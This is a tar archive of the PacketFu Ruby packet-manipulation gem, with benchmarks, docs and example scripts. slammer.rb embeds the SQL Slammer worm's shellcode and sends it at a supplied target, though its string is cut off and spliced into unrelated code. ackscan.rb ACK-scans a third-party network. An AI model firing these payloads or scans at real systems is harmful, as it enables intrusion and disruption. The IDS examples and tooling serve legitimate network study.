packetfu-1.1.11/0000755000004100000410000000000012573107241013427 5ustar www-datawww-datapacketfu-1.1.11/bench/0000755000004100000410000000000012573107241014506 5ustar www-datawww-datapacketfu-1.1.11/bench/octets.rb0000644000004100000410000000153012573107241016333 0ustar www-datawww-datarequire 'benchmark' $:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' IPV4_RAW = "\x01\x02\x03\x04" IPV4_STR = "1.2.3.4" iters = 50_000 Benchmark.bm do |bm| bm.report("Octets.new.read(...) ") {iters.times {PacketFu::Octets.new.read(IPV4_RAW)}} bm.report("Octets.new.read_quad(...) ") {iters.times {PacketFu::Octets.new.read_quad(IPV4_STR)}} octets = PacketFu::Octets.new bm.report("octets#read(...) ") {iters.times {octets.read(IPV4_RAW)}} bm.report("octets#read_quad(...) ") {iters.times {octets.read_quad(IPV4_STR)}} octets.read(IPV4_RAW) bm.report("octets#to_x() ") {iters.times {octets.to_x}} bm.report("octets#to_i() ") {iters.times {octets.to_i}} bm.report("octets#to_s() ") {iters.times {octets.to_s}} end packetfu-1.1.11/bench/benchit.rb0000644000004100000410000000636212573107241016456 0ustar www-datawww-data$:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' require 'benchmark' class String def bin self.scan(/../).map {|x| x.to_i(16).chr}.join end end file_pfx = ARGV.shift IPV6_PACKET = "3333000000fb442a60c14d7b86dd60000000006611fffe80000000000000462a60fffec14d7bff0200000000000000000000000000fb14e914e900664ed1000000000002000000020000145542432d437573746f6d6572732d695061642d33056c6f63616c0000ff0001c00c00ff0001c00c001c0001000000780010fe80000000000000462a60fffec14d7bc00c0001000100000078000448d77827".bin ARP_PACKET = "ffffffffffff001e6837bcf708060001080006040001001e6837bcf748d7780100000000000048d779f7000000000000000000000000000000000000".bin UDP_PACKET = "01005e7ffffa100ba9eb63400800450000a12d7c0000011159b446a5fb7ceffffffacdf3076c008d516e4d2d534541524348202a20485454502f312e310d0a486f73743a3233392e3235352e3235352e3235303a313930300d0a53543a75726e3a736368656d61732d75706e702d6f72673a6465766963653a496e7465726e6574476174657761794465766963653a310d0a4d616e3a22737364703a646973636f766572220d0a4d583a330d0a0d0a".bin TCP_PACKET = "e0f8472161a600254ba0760608004500004403554000400651d0c0a83207c0a832370224c1d22d94847f0b07c4ba8018ffff30ba00000101080a8731821433564b8c01027165000000000000200000000000".bin iters = 5_000 data = [] data = [] data = [] data = [] puts "Parsing a TCP Packet..." require 'pp' Benchmark.bm do |bm| data << bm.report("PacketFu::Packet.parse() ") { iters.times {PacketFu::Packet.parse(TCP_PACKET)} } data << bm.report("PacketFu::EthPacket.new.read() ") { iters.times {PacketFu::EthPacket.new.read(TCP_PACKET)} } data << bm.report("PacketFu::IPPacket.new.read() ") { iters.times {PacketFu::IPPacket.new.read(TCP_PACKET)} } data << bm.report("PacketFu::TCPPacket.new.read() ") { iters.times {PacketFu::TCPPacket.new.read(TCP_PACKET)} } nil end puts "" puts "Parsing a UDP Packet..." Benchmark.bm do |bm| data << bm.report("PacketFu::Packet.parse() ") { iters.times {PacketFu::Packet.parse(UDP_PACKET)} } data << bm.report("PacketFu::EthPacket.new.read() ") { iters.times {PacketFu::EthPacket.new.read(UDP_PACKET)} } data << bm.report("PacketFu::IPPacket.new.read() ") { iters.times {PacketFu::IPPacket.new.read(UDP_PACKET)} } data << bm.report("PacketFu::UDPPacket.new.read() ") { iters.times {PacketFu::UDPPacket.new.read(UDP_PACKET)} } nil end puts "" puts "Parsing a ARP Packet..." Benchmark.bm do |bm| data << bm.report("PacketFu::Packet.parse() ") { iters.times {PacketFu::Packet.parse(ARP_PACKET)} } data << bm.report("PacketFu::EthPacket.new.read() ") { iters.times {PacketFu::EthPacket.new.read(ARP_PACKET)} } data << bm.report("PacketFu::ARPPacket.new.read() ") { iters.times {PacketFu::ARPPacket.new.read(ARP_PACKET)} } nil end puts "" puts "Parsing a IPv6 Packet..." Benchmark.bm do |bm| data << bm.report("PacketFu::Packet.parse() ") { iters.times {PacketFu::Packet.parse(IPV6_PACKET)} } data << bm.report("PacketFu::EthPacket.new.read() ") { iters.times {PacketFu::EthPacket.new.read(IPV6_PACKET)} } data << bm.report("PacketFu::IPv6Packet.new.read() ") { iters.times {PacketFu::IPv6Packet.new.read(IPV6_PACKET)} } nil end if file_pfx filename = "#{file_pfx}.dat" puts "dumping data to #{filename}" fio = File.open(filename, "w") Marshal.dump(data, fio) fio.close end packetfu-1.1.11/bench/octets_after_refactor.txt0000644000004100000410000000107312573107241021617 0ustar www-datawww-data user system total real Octets.new.read(...) 0.200000 0.000000 0.200000 ( 0.207577) Octets.new.read_quad(...) 0.290000 0.000000 0.290000 ( 0.285364) octets#read(...) 0.080000 0.000000 0.080000 ( 0.074826) octets#read_quad(...) 0.140000 0.000000 0.140000 ( 0.145170) octets#to_x() 0.140000 0.000000 0.140000 ( 0.139427) octets#to_i() 0.020000 0.000000 0.020000 ( 0.016444) octets#to_s() 0.040000 0.000000 0.040000 ( 0.042925) packetfu-1.1.11/bench/octets_after.txt0000644000004100000410000000107312573107241017732 0ustar www-datawww-data user system total real Octets.new.read(...) 0.480000 0.000000 0.480000 ( 0.485710) Octets.new.read_quad(...) 0.480000 0.000000 0.480000 ( 0.480071) octets#read(...) 0.180000 0.000000 0.180000 ( 0.184558) octets#read_quad(...) 0.180000 0.000000 0.180000 ( 0.175781) octets#to_x() 0.120000 0.000000 0.120000 ( 0.120217) octets#to_i() 0.040000 0.000000 0.040000 ( 0.043496) octets#to_s() 0.100000 0.010000 0.110000 ( 0.093341) packetfu-1.1.11/bench/calc_delta.rb0000644000004100000410000000044512573107241017111 0ustar www-datawww-datarequire 'benchmark' require 'pp' before = ARGV.shift after = ARGV.shift fio = File.open(before) before_data = Marshal.load(fio) fio.close fio = File.open(after) after_data = Marshal.load(fio) fio.close before_data.each_with_index do |data, i| puts (data.total / after_data[i].total) end packetfu-1.1.11/bench/octets_before.txt0000644000004100000410000000107312573107241020073 0ustar www-datawww-data user system total real Octets.new.read(...) 0.480000 0.000000 0.480000 ( 0.482913) Octets.new.read_quad(...) 1.390000 0.460000 1.850000 ( 1.858652) octets#read(...) 0.190000 0.000000 0.190000 ( 0.186785) octets#read_quad(...) 1.030000 0.400000 1.430000 ( 1.435857) octets#to_x() 1.010000 0.470000 1.480000 ( 1.480452) octets#to_i() 0.830000 0.420000 1.250000 ( 1.250348) octets#to_s() 0.150000 0.000000 0.150000 ( 0.157041) packetfu-1.1.11/bench/after-2012-07-28.txt0000644000004100000410000000250712573107241017411 0ustar www-datawww-dataParsing a TCP Packet... user system total real PacketFu::Packet.parse() 1.670000 0.010000 1.680000 ( 1.664486) PacketFu::EthPacket.new.read() 0.180000 0.000000 0.180000 ( 0.179386) PacketFu::IPPacket.new.read() 0.410000 0.000000 0.410000 ( 0.415767) PacketFu::TCPPacket.new.read() 1.380000 0.000000 1.380000 ( 1.375509) Parsing a UDP Packet... user system total real PacketFu::Packet.parse() 1.750000 0.000000 1.750000 ( 1.757758) PacketFu::EthPacket.new.read() 0.180000 0.000000 0.180000 ( 0.179951) PacketFu::IPPacket.new.read() 0.420000 0.000000 0.420000 ( 0.416224) PacketFu::UDPPacket.new.read() 0.720000 0.000000 0.720000 ( 0.715579) Parsing a ARP Packet... user system total real PacketFu::Packet.parse() 0.820000 0.000000 0.820000 ( 0.823303) PacketFu::EthPacket.new.read() 0.180000 0.000000 0.180000 ( 0.182247) PacketFu::ARPPacket.new.read() 0.670000 0.000000 0.670000 ( 0.672712) Parsing a IPv6 Packet... user system total real PacketFu::Packet.parse() 0.700000 0.000000 0.700000 ( 0.695721) PacketFu::EthPacket.new.read() 0.180000 0.000000 0.180000 ( 0.180608) PacketFu::IPv6Packet.new.read() 0.530000 0.000000 0.530000 ( 0.527124) packetfu-1.1.11/bench/before-2012-07-28.txt0000644000004100000410000000250712573107241017552 0ustar www-datawww-dataParsing a TCP Packet... user system total real PacketFu::Packet.parse() 3.290000 0.000000 3.290000 ( 3.290771) PacketFu::EthPacket.new.read() 0.180000 0.000000 0.180000 ( 0.181850) PacketFu::IPPacket.new.read() 0.490000 0.000000 0.490000 ( 0.484150) PacketFu::TCPPacket.new.read() 2.970000 0.000000 2.970000 ( 2.977186) Parsing a UDP Packet... user system total real PacketFu::Packet.parse() 2.530000 0.010000 2.540000 ( 2.529333) PacketFu::EthPacket.new.read() 0.180000 0.000000 0.180000 ( 0.179065) PacketFu::IPPacket.new.read() 0.490000 0.000000 0.490000 ( 0.487412) PacketFu::UDPPacket.new.read() 1.060000 0.000000 1.060000 ( 1.067339) Parsing a ARP Packet... user system total real PacketFu::Packet.parse() 0.860000 0.000000 0.860000 ( 0.851042) PacketFu::EthPacket.new.read() 0.180000 0.000000 0.180000 ( 0.183220) PacketFu::ARPPacket.new.read() 0.720000 0.000000 0.720000 ( 0.718533) Parsing a IPv6 Packet... user system total real PacketFu::Packet.parse() 0.750000 0.000000 0.750000 ( 0.753657) PacketFu::EthPacket.new.read() 0.180000 0.000000 0.180000 ( 0.182015) PacketFu::IPv6Packet.new.read() 0.610000 0.000000 0.610000 ( 0.611805) packetfu-1.1.11/INSTALL.rdoc0000644000004100000410000000252212573107241015407 0ustar www-datawww-data== INSTALL Installation is pretty straightforward -- it's a gem now! $ rvm gem install packetfu Not using rvm? For shame! Get it now, it will make your life 100x better. $ links http://rvm.beginrescueend.com/ If you are installing from a source checkout, just run (as root / rvmsudo): $ rvmsudo ./setup.rb $ sudo ruby ./setup.rb # If not on rvm, and seriously what is wrong with you? == Testing The easiest way to test the installation is to run PacketFu via irb, using the example shell in the "examples" directory: % sudo irb -r packetfu-shell.rb After the banner, you should see something like: >>> Use $packetfu_default.config for salient networking details. IP: 192.168.1.100 Mac: 00:1d:e0:54:2f:7e Gateway: 00:03:2f:32:a5:3c Net: 192.168.1.0 Iface: wlan0 >>> Packet capturing/injecting enabled. <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> If not, then Something Went Wrong. It's most likely that you have either an older or broken version of pcaprub (try installing the version provided with Metasploit), or you have a very, very old version of libpcap (version 0.9.4 is the oldest tested version, and there's really no reason to not be at least on 1.0.0). == Complaints If things don't work out, please contact todb@planb-security.net, and I'll try to get you all sorted out. packetfu-1.1.11/Rakefile0000644000004100000410000000027312573107241015076 0ustar www-datawww-data begin require 'rspec/core/rake_task' rescue LoadError $stderr.puts "rspec not available, so can't set up spec tasks." else RSpec::Core::RakeTask.new task :default => :spec end packetfu-1.1.11/.mailmap0000644000004100000410000000043512573107241015052 0ustar www-datawww-dataTod Beardsley Tod Beardsley Tod Beardsley Tod Beardsley Tod Beardsley Tod Beardsley Tod Beardsley todb packetfu-1.1.11/Gemfile0000644000004100000410000000013512573107241014721 0ustar www-datawww-datasource 'https://rubygems.org' # Specify your gem's dependencies in packetfu.gemspec gemspec packetfu-1.1.11/examples/0000755000004100000410000000000012573107241015245 5ustar www-datawww-datapacketfu-1.1.11/examples/packetfu-shell.rb0000644000004100000410000001214712573107241020506 0ustar www-datawww-data# -*- coding: binary -*- # == Synopsis # # packetfu-shell.rb is intended for IRB consumption, and providing an # interactive interface for PacketFu experimentation. # # == Usage # # irb -r packetfu-shell.rb # or # sudo irb -r packetfu-shell.rb # # If run as root, packet capturing/injecting is available, which includes # access to Utils.whoami? # # Once loaded, the PacketFu module is mixed in, and Utils commands are # aliased to the PacketFu module proper. Sessions look something like # this: # # == Example # # irb(main):001:0> pkt = TCPPacket.new # => 00 1a c5 00 00 00 00 1a c5 00 00 00 08 00 45 00 ..............E. # 00 28 62 9d 00 00 ff 06 59 33 00 00 00 00 00 00 .(b.....Y3...... # 00 00 d4 fb 00 00 18 c6 32 86 00 00 00 00 50 00 ........2.....P. # 40 00 4f 9d 00 00 @.O... # irb(main):002:0> pkt.payload="I am totally up in your stack, twiddling your bits." # => "I am totally up in your stack, twiddling your bits." # irb(main):003:0> pkt.ip_saddr="1.2.3.4" # => "1.2.3.4" # irb(main):004:0> pkt.tcp_sport=13013 # => 13013 # irb(main):005:0> pkt.tcp_dport=808 # => 808 # irb(main):006:0> pkt.recalc # => {"eth_src"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}, "body"=>{"ip_tos"=>0, "ip_src"=>{"o1"=>1, "o2"=>2, "o3"=>3, "o4"=>4}, "body"=>{"tcp_ecn"=>{"c"=>0, "n"=>0, "e"=>0}, "tcp_dst"=>808, "tcp_win"=>16384, "body"=>"I am totally up in your stack, twiddling your bits.", "tcp_flags"=>{"fin"=>0, "psh"=>0, "syn"=>0, "rst"=>0, "ack"=>0, "urg"=>0}, "tcp_hlen"=>5, "tcp_ack"=>0, "tcp_urg"=>0, "tcp_seq"=>415642246, "tcp_sum"=>51184, "tcp_reserved"=>0, "tcp_opts"=>"", "tcp_src"=>13013}, "ip_dst"=>{"o1"=>0, "o2"=>0, "o3"=>0, "o4"=>0}, "ip_frag"=>0, "ip_proto"=>6, "ip_hl"=>5, "ip_len"=>91, "ip_sum"=>21754, "ip_id"=>25245, "ip_v"=>4, "ip_ttl"=>255}, "eth_proto"=>2048, "eth_dst"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}} # irb(main):007:0> pkt.to_f('/tmp/tcp-example.pcap') # => ["/tmp/tcp-example.pcap", 145, 1, 1220048597, 1] # irb(main):008:0> puts pkt.inspect_hex(2) # 32 d5 03 28 7c 50 1f 01 00 00 00 00 50 00 40 00 2..(|P......P.@. # 77 eb 00 00 49 20 61 6d 20 74 6f 74 61 6c 6c 79 w...I am totally # 20 75 70 20 69 6e 20 79 6f 75 72 20 73 74 61 63 up in your stac # 6b 2c 20 74 77 69 64 64 6c 69 6e 67 20 79 6f 75 k, twiddling you # 72 20 62 69 74 73 2e r bits. # => nil $: << File.expand_path(File.dirname(__FILE__) + "/../lib/") require './examples' require 'packetfu' module PacketFu def whoami?(args={}) Utils.whoami?(args) end def arp(arg) Utils.arp(arg) end end include PacketFu # Draws a picture. Includes a nunchuck, so you know that it's serious. # I /think/ this is how you're supposed to spell it in a kana charset. # http://jisho.org/words?jap=+%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%83%95&eng=&dict=edict # def packetfu_ascii_art puts <>> PacketFu Shell #{PacketFu.version}." if Process.euid.zero? && @pcaprub_loaded puts ">>> Use $packetfu_default.config for salient networking details." print "IP: %-15s Mac: %s" % [$packetfu_default.ip_saddr, $packetfu_default.eth_saddr] puts " Gateway: %s" % $packetfu_default.eth_daddr print "Net: %-15s" % [Pcap.lookupnet($packetfu_default.iface)][0] print " " * 13 puts "Iface: %s" % [($packetfu_default.iface)] puts ">>> Packet capturing/injecting enabled." else print ">>> Packet capturing/injecting disabled. " puts Process.euid.zero? ? "(no PcapRub)" : "(not root)" end puts "<>" * 36 end # Silly wlan0 workaround begin $packetfu_default = PacketFu::Config.new(Utils.whoami?) if(@pcaprub_loaded && Process.euid.zero?) rescue RuntimeError $packetfu_default = PacketFu::Config.new(Utils.whoami?(:iface => 'wlan0')) if(@pcaprub_loaded && Process.euid.zero?) end banner packetfu-1.1.11/examples/simple-sniffer.rb0000755000004100000410000000233212573107241020520 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- require './examples' require 'packetfu' puts "Simple sniffer for PacketFu #{PacketFu.version}" include PacketFu iface = ARGV[0] || "eth0" def sniff(iface) cap = Capture.new(:iface => iface, :start => true) cap.stream.each do |p| pkt = Packet.parse p if pkt.is_ip? next if pkt.ip_saddr == Utils.ifconfig(iface)[:ip_saddr] packet_info = [pkt.ip_saddr, pkt.ip_daddr, pkt.size, pkt.proto.last] puts "%-15s -> %-15s %-4d %s" % packet_info end end end sniff(iface) =begin Results look like this: 145.58.33.95 -> 192.168.11.70 1514 TCP 212.233.158.76 -> 192.168.11.70 110 UDP 88.174.164.147 -> 192.168.11.70 110 UDP 145.58.33.95 -> 192.168.11.70 1514 TCP 145.58.33.95 -> 192.168.11.70 1514 TCP 145.58.33.95 -> 192.168.11.70 1514 TCP 145.58.33.95 -> 192.168.11.70 1514 TCP 8.8.8.8 -> 192.168.11.70 143 UDP 41.237.73.186 -> 192.168.11.70 60 TCP 145.58.33.95 -> 192.168.11.70 1514 TCP 145.58.33.95 -> 192.168.11.70 1514 TCP 8.8.8.8 -> 192.168.11.70 143 UDP 8.8.8.8 -> 192.168.11.70 128 UDP 8.8.8.8 -> 192.168.11.70 187 UDP 24.45.247.232 -> 192.168.11.70 70 TCP =end packetfu-1.1.11/examples/ifconfig.rb0000644000004100000410000000035512573107241017361 0ustar www-datawww-data# -*- coding: binary -*- $:.unshift(File.expand_path(File.dirname(__FILE__) + "/../lib/")) require 'packetfu' # ifconfig for Darwin iface = ARGV[0] || 'en1' config = PacketFu::Utils.ifconfig(iface) print "#{RUBY_PLATFORM} => " p config packetfu-1.1.11/examples/ackscan.rb0000644000004100000410000000212712573107241017177 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- require 'packetfu' # Portscanning! # Run this on one machine #cap = Capture.new(:iface=>'wlan0') # or whatever your interface is #cap.show_live(:filter => 'src net 209.85.165') # Run this on another: #cap = Capture.new(:iface=>'wlan0') # or whatever your interface is #cap = Capture.new(:iface=>'wlan0') # or whatever your interface is # Run this on the third def do_scan puts "Generating packets..." pkt_array = gen_packets.sort_by {rand} puts "Dumping them on the wire..." inj = PacketFu::Inject.new(:iface => ARGV[0]) inj.array_to_wire(:array=>pkt_array) puts "Done!" end def gen_packets config = PacketFu::Utils.whoami?(:iface=>ARGV[0]) pkt = PacketFu::TCPPacket.new(:config=>config, :flavor=>"Windows") pkt.payload ="all I wanna do is ACK ACK ACK and a RST and take your money" pkt.ip_daddr="209.85.165.0" # One of Google's networks pkt.tcp_flags.ack=1 pkt.tcp_dst=81 pkt_array = [] 256.times do |i| pkt.ip_dst.o4=i pkt.tcp_src = rand(5000 - 1025) + 1025 pkt.recalc pkt_array << pkt.to_s end pkt_array end do_scan packetfu-1.1.11/examples/examples.rb0000644000004100000410000000024512573107241017411 0ustar www-datawww-data# -*- coding: binary -*- # Sets the path appropriately when examples is adjacent to the real lib. $:.unshift(File.expand_path(File.dirname(__FILE__) + "/../lib/")) packetfu-1.1.11/examples/100kpackets.rb0000644000004100000410000000233012573107241017616 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- # Used mainly to test for memory leaks and to demo the preferred ways of # reading and writing packets to and from pcap files. require './examples' # For path setting slight-of-hand require 'packetfu' include PacketFu puts "Generating packets... (#{Time.now.utc})" File.unlink("/tmp/out.pcap") if File.exists? "/tmp/out.pcap" start_time = Time.now.utc count = 0 100.times do @pcaps = [] 1000.times do u = UDPPacket.new u.ip_src = [rand(2**32-1)].pack("N") u.ip_dst = [rand(2**32-1)].pack("N") u.recalc @pcaps << u end pfile = PcapFile.new res = pfile.array_to_file(:filename => "/tmp/out.pcap", :array => @pcaps, :append => true) count += res.last puts "Wrote #{count} packets in #{Time.now.utc - start_time} seconds" end read_bytes_start = Time.now.utc puts "Reading packet bytes..." packet_bytes = PcapFile.read_packet_bytes "/tmp/out.pcap" puts "Read #{packet_bytes.size} packet byte blobs in #{Time.now.utc - read_bytes_start} seconds." read_packets_start = Time.now.utc puts "Reading packets..." packet_bytes = PcapFile.read_packets "/tmp/out.pcap" puts "Read #{packet_bytes.size} parsed packets in #{Time.now.utc - read_packets_start} seconds." packetfu-1.1.11/examples/slammer.rb0000644000004100000410000000366612573107241017245 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- # Fires off a slammer packet to an unsuspecting target. This code does not # break real devices! (To do that, you'll need to fix up the targetting) target = ARGV[0] raise RuntimeError, "Need a target" unless target action = ARGV[1] raise RuntimeError, "Need an action. Try file or your interface." unless action require 'packetfu' include PacketFu slammer = "\004\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\334\311\260B\353\016" + "\001\001\001\001\001\001\001p\256B\001p\256B\220\220\220\220\220\220\220\220h\334\311\260B\270\001\001" + "\001\0011\311\261\030P\342\3755\001\001\001\005P\211\345Qh.dllhel32hkernQhounthickChGetTf" + "\271llQh32.dhws2_f\271etQhsockf\271toQhsend\276\030\020\256B\215E\324P\377\026P\215E\340P\215E\360P\377" + "\026P\276\020\020\256B\213\036\213\003=U\213\354Qt\005\276\034\020\256B\377\026\377\3201\311QQP\201\361" + "\003\001\004\233\201\361\001\001\001\001Q\215E\314P\213E\300P\377\026j\021j\002j\002\377\320P\215E\304P" + "\213E\300P\377\026\211\306\t\333\201\363 "Windows") arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = $packetfu_default[:eth_saddr] arp_pkt.eth_daddr = "ff:ff:ff:ff:ff:ff" arp_pkt.arp_daddr_mac = "00:00:00:00:00:00" arp_pkt.arp_saddr_ip = $packetfu_default[:ip_saddr] arp_pkt.arp_daddr_ip = target_ip # Stick the Capture object in its own thread. cap_thread = Thread.new do cap = PacketFu::Capture.new(:start => true, :filter => "arp src #{target_ip} and ether dst #{arp_pkt.eth_saddr}") arp_pkt.to_w # Shorthand for sending single packets to the default interface. target_mac = nil while target_mac.nil? if cap.save > 0 arp_response = PacketFu::Packet.parse(cap.array[0]) target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip = target_ip end sleep 0.1 # Check for a response ten times per second. end puts "#{target_ip} is-at #{target_mac}" # That's all we need. exit 0 end # Timeout for cap_thread sleep 3; puts "Oh noes! Couldn't get an arp out of #{target_ip}. Maybe it's not here." exit 1 end arp(target_ip) packetfu-1.1.11/examples/arphood.rb0000755000004100000410000000313512573107241017233 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- # A simple local network fingerprinter. Uses the OUI list. # Usage: rvmsudo ./arphood.rb [iface] [network] require './examples' require 'packetfu' require 'open-uri' $oui_prefixes = {} $arp_results = [] def build_oui_list if ARGV[2].nil? puts "Fetching the oui.txt from IEEE, it'll be a second. Avoid this with #{$0} [iface] [network] ." oui_file = open("http://standards.ieee.org/regauth/oui/oui.txt") else oui_file = File.open(ARGV[2], "rb") end oui_file.each do |oui_line| maybe_oui = oui_line.scan(/^[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}/i)[0] unless maybe_oui.nil? oui_value = maybe_oui oui_vendor = oui_line.split(/\(hex\)\s*/n)[1] || "PRIVATE" $oui_prefixes[oui_value] = oui_vendor.chomp end end end build_oui_list $root_ok = true if Process.euid.zero? def arp_everyone my_net = PacketFu::Config.new(PacketFu::Utils.whoami?(:iface =>(ARGV[0] || 'wlan0'))) threads = [] network = ARGV[1] || "192.168.2" print "Arping around..." 253.times do |i| threads[i] = Thread.new do this_host = network + ".#{i+1}" print "." colon_mac = PacketFu::Utils.arp(this_host,my_net.config) unless colon_mac.nil? hyphen_mac = colon_mac.tr(':','-').upcase[0,8] else hyphen_mac = colon_mac = "NOTHERE" end $arp_results << "%s : %s / %s" % [this_host,colon_mac,$oui_prefixes[hyphen_mac]] end end threads.each {|thr| thr.join} end if $root_ok arp_everyone puts "\n" sleep 3 $arp_results.sort.each {|a| puts a unless a =~ /NOTHERE/} end packetfu-1.1.11/examples/uniqpcap.rb0000644000004100000410000000110412573107241017406 0ustar www-datawww-data# Uniqpcap.rb takes a pcap file, strips out duplicate packets, and # writes them to a file. # # The duplicate pcap problem is common when I'm capturing # traffic to/from a VMWare image, for some reason. # # Currently, the timestamp information is lost due to PcapRub's # file read. For me, this isn't a big deal. Future versions # will deal with timestamps correctly. require './examples' # For path setting slight-of-hand require 'packetfu' in_array = PacketFu::Read.f2a(:file => ARGV[0]) puts PacketFu::Write.a2f(:file => "uniq-" + ARGV[0], :arr => in_array.uniq).inspect packetfu-1.1.11/examples/simple-stats.rb0000644000004100000410000000233612573107241020223 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- # Simple-stats.rb takes a pcap file, and gives some simple # stastics on the protocols found. It's mainly used to # demonstrate a method to parse pcap files. # # XXX: DO NOT USE THIS METHOD TO READ PCAP FILES. # # See new-simple-stats.rb for an example of the streaming # parsing method. require './examples' # For path setting slight-of-hand require 'packetfu' # Takes a file name, parses the packets, and records the packet # type based on its PacketFu class. def count_packet_types(file) file = File.open(file) {|f| f.read} stats = {} count = 0 pcapfile = PacketFu::PcapPackets.new pcapfile.read(file) pcapfile.each do |p| # Now it's a PacketFu packet struct. pkt = PacketFu::Packet.parse(p.data) kind = pkt.class.to_s.split("::").last if stats[kind] stats[kind] += 1 else stats[kind] = 0 end count += 1 break if count >= 1_000 end stats.each_pair { |k,v| puts "%-12s: %4d" % [k,v] } end if File.readable?(infile = (ARGV[0] || 'in.pcap')) title = "Packets by packet type in '#{infile}'" puts title puts "-" * title.size count_packet_types(infile) else raise RuntimeError, "Need an infile, like so: #{$0} in.pcap" end packetfu-1.1.11/examples/idsv2.rb0000644000004100000410000000127712573107241016630 0ustar www-datawww-datarequire 'packetfu' # Line 0, require PacketFu for an IDS in 6 lines or less! cap = PacketFu::Capture.new(:iface => ARGV[0], :start => true, :filter => "ip") # Line 1, set up the capture object. attack_patterns = ["^gotcha", "owned!*$", "^\x04[^\x00]{50}"] # Line 2, define your attack patterns. loop {cap.stream.each {|pkt| packet = PacketFu::Packet.parse(pkt) # Line 3, loop the capture forever, parsing packets. attack_patterns.each {|sig| hit = packet.payload.scan(/#{sig}/i) || nil # Line 4, test the packet for a match against one of the attacks. puts "#{Time.now}: %s attacked %s [%s]" % [packet.ip_saddr, packet.ip_daddr, sig.inspect] unless hit.size.zero? }}} # Line 5, profit! I mean, alert! packetfu-1.1.11/examples/ids.rb0000644000004100000410000000065012573107241016352 0ustar www-datawww-datarequire 'packetfu' # Line 1, require PacketFu. cap = PacketFu::Capture.new(:iface => ARGV[0], :start => true, :filter => "ip") # Line 2, set up the capture object. loop {cap.stream.each {|pkt| packet = PacketFu::Packet.parse(pkt) # Line 3, loop the capture forever, parsing packets. p "#{Time.now}: %s slammed %s" % [packet.ip_saddr, packet.ip_daddr] if packet.payload =~ /^\x04\x01{50}/ }} # Line 4, profit! I mean, alert! packetfu-1.1.11/packetfu.gemspec0000644000004100000410000000254612573107241016605 0ustar www-datawww-datarequire 'rake' require './lib/packetfu/version' Gem::Specification.new do |s| s.name = 'packetfu' s.version = PacketFu::VERSION s.authors = ['Tod Beardsley'] s.email = 'todb@packetfu.com' s.summary = 'PacketFu is a mid-level packet manipulation library.' s.homepage = 'https://github.com/todb/packetfu' s.description = %q{PacketFu is a mid-level packet manipulation library for Ruby. With it, users can read, parse, and write network packets with the level of ease and fun they expect from Ruby. Note that this gem does not automatically require pcaprub, since users may install pcaprub through non-gem means.} s.files = `git ls-files`.split($/) s.license = 'BSD' s.add_dependency('network_interface', '~> 0.0') s.add_dependency('pcaprub', '~> 0.12') s.add_development_dependency('rake', '~> 10.3') s.add_development_dependency('rspec', '~> 3.0') s.add_development_dependency('rspec-its', '~> 1.2') s.add_development_dependency('sdoc', '~> 0.4.1') s.extra_rdoc_files = %w[.document README.rdoc] s.test_files = (s.files & (Dir['spec/**/*_spec.rb'] + Dir['test/test_*.rb']) ) s.rubyforge_project = 'packetfu' cert = File.expand_path("~/.ssh/gem-private_key_todb.pem") if File.exist?(cert) and File.readable?(cert) s.signing_key = cert s.cert_chain = ['gem-public_cert.pem'] end end packetfu-1.1.11/data.tar.gz.sig0000444000004100000410000000040012573107241016240 0ustar www-datawww-dataztN@l <);Q4O9_цy ĉ'J|nNNvc 9>{,L]ف'f)f\Edɫ~%_Qܛ4W&4x]-L}N)QWR Td4@Kx5JSdCq ũ7yQNeCZ@ N9?] ^0Mȱuw'?ny:$U#}Z&s]packetfu-1.1.11/LICENSE.txt0000644000004100000410000000270112573107241015252 0ustar www-datawww-dataCopyright (c) 2008-2014, Tod Beardsley All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Tod Beardsley nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY TOD BEARDSLEY ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL TOD BEARDSLEY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 